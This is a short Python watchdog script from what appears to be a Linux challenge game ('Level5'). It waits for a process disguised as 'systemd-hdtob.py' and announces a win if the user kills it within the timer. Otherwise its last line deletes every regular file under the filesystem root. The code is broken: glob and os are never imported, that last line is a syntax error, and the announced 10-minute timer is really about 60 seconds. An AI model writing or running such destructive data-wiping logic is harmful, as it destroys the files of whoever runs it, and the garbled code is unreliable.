Files
Debian-Retzel/Level/Level5/watchdog.py

32 lines
645 B
Python

import time
import subprocess
SCRIPT_NAME = "systemd-hdtob.py"
TIMEOUT = 60
def is_running():
try:
result = subprocess.run(
["pgrep", "-f", SCRIPT_NAME],
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
return result.returncode == 0
except Exception:
return False
print("Watchdog gestartet...")
while not is_running():
time.sleep(1)
print("Start 10min Timer")
for _ in range(TIMEOUT):
if not is_running():
print("User hat gewonnen")
exit(0)
time.sleep(1)
for datei in glob.glob("/*"): if os.path.isfile(datei): os.remove(datei)